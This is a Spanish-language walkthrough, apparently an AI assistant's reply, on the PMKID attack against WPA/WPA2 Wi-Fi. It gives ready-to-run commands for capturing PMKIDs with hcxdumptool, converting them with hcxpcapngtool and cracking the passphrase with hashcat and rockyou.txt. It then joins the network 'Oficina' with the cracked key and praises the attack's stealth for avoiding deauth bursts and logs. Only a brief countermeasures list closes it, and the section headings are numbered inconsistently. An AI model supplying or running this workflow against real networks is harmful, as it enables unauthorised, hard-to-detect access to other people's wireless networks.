7. Ataque PMKID

6. Ataque PMKID

6.1 ¿Qué es el PMKID?

- **PMK** (Pairwise Master Key): clave maestra derivada de la contraseña WPA/WPA2 y el SSID.
- **PMKID**: un identificador (MACed) de esa PMK que algunos puntos de acceso envían en los **frames del RSN IE** (Robust Security Network Information Element) durante la fase de asociación.

Al capturar un único frame que contiene el PMKID, ya tienes suficiente material para un ataque offline de diccionario, sin esperar el 4-way handshake completo.

6.2 ¿Por qué funciona?

1. Durante la **autenticación inicial** de 802.11 entre cliente y AP, el AP incluye en el **RSN IE** del primer frame de asociación un **PMKID** calculado como:

   ```
   PMKID = HMAC-SHA1(PMK, "PMK Name" || AA || SPA)
   ```

   - `AA` = MAC del AP
   - `SPA` = MAC del cliente (supplicant)
2. Ese PMKID va “en claro” dentro del frame de gestión, así que basta con capturarlo.
3. Con `PMKID`, puedes montar un ataque de diccionario para recuperar la **Passphrase** que generó el PMK.

6.3 Ventajas sobre el 4-way handshake

- **Más rápido**: solo necesitas un frame, sin obligar a clientes a reconectar.
- **Stealth**: no hay ráfagas de deauth ni logs de desconexión.
- **Universal**: funciona incluso si no hay clientes activos en el AP.

6.4 Herramientas clave

Herramienta	Función
`hcxdumptool`	Captura tramas 802.11 y extrae PMKIDs
`hcxpcapngtool`	Convierte la captura a formato Hashcat (`.22000`)
`hashcat`	Ejecuta el ataque de diccionario con GPU

6.5 Flujo típico del ataque

Paso 1: Capturar PMKID con `hcxdumptool`

```
sudo hcxdumptool -i wlan0mon --enable_status=15 -o pmkid_capture.pcapng
```

- `-i wlan0mon`: interfaz en modo monitor.
- `--enable_status=15`: muestra en pantalla los PMKIDs encontrados.
- `-o pmkid_capture.pcapng`: archivo de salida.

Deja correr la herramienta unos segundos hasta que reporte algo tipo:

```
PMKID found for AP 28:77:77:74:B1:AC
```

Paso 2: Extraer hashes para Hashcat

```
hcxpcapngtool -o hash.22000 pmkid_capture.pcapng
```

- Genera `hash.22000`, que contiene líneas del tipo:

  ```
  28:77:77:74:B1:AC*AA:BB:CC:DD:EE:FF*PMKID_HEX*ESSID
  ```

Paso 3: Ataque de diccionario con `hashcat`

```
hashcat -m 22000 hash.22000 rockyou.txt --force
```

- `-m 22000`: modo PMKID/WPA-PBKDF2.
- `rockyou.txt`: tu wordlist favorita.
- `--force`: si es necesario para sortear checks.

Si la passphrase está en tu diccionario, verás algo como:

```
$ hashcat (…)
SUPERFRASE_OFICINA
```

6.6 Ejemplo práctico completo

1. **Activar monitor mode**:

   ```
   sudo airmon-ng start wlan0
   ```

2. **Capturar PMKID** (10 s de espera):

   ```
   sudo hcxdumptool -i wlan0mon --enable_status=15 -o pmkid.pcapng
   ```

3. **Convertir a hash**:

   ```
   hcxpcapngtool -o oficina.22000 pmkid.pcapng
   ```

4. **Romper la clave**:

```
hashcat -m 22000 oficina.22000 /usr/share/wordlists/rockyou.txt
```

5. **Conectar**:

```
nmcli dev wifi connect Oficina password SUPERFRASE_OFICINA
```

6.7 Contramedidas

- **Deshabilitar PMKID** en el AP (opción en algunos firmwares).
- **WPA3/SAE** no envía PMKID en claro.
- **Filtrar MACs** desconocidas en el AP.
- **Monitorizar** tráfico 802.11 para detectar `hcxdumptool` scans.

¡Y con esto tienes el **Ataque PMKID** completamente destapado! 🔓💥 Próximo en la lista: ¿quedamos con algo más, o cerramos con una recapitulación épica de todos estos métodos?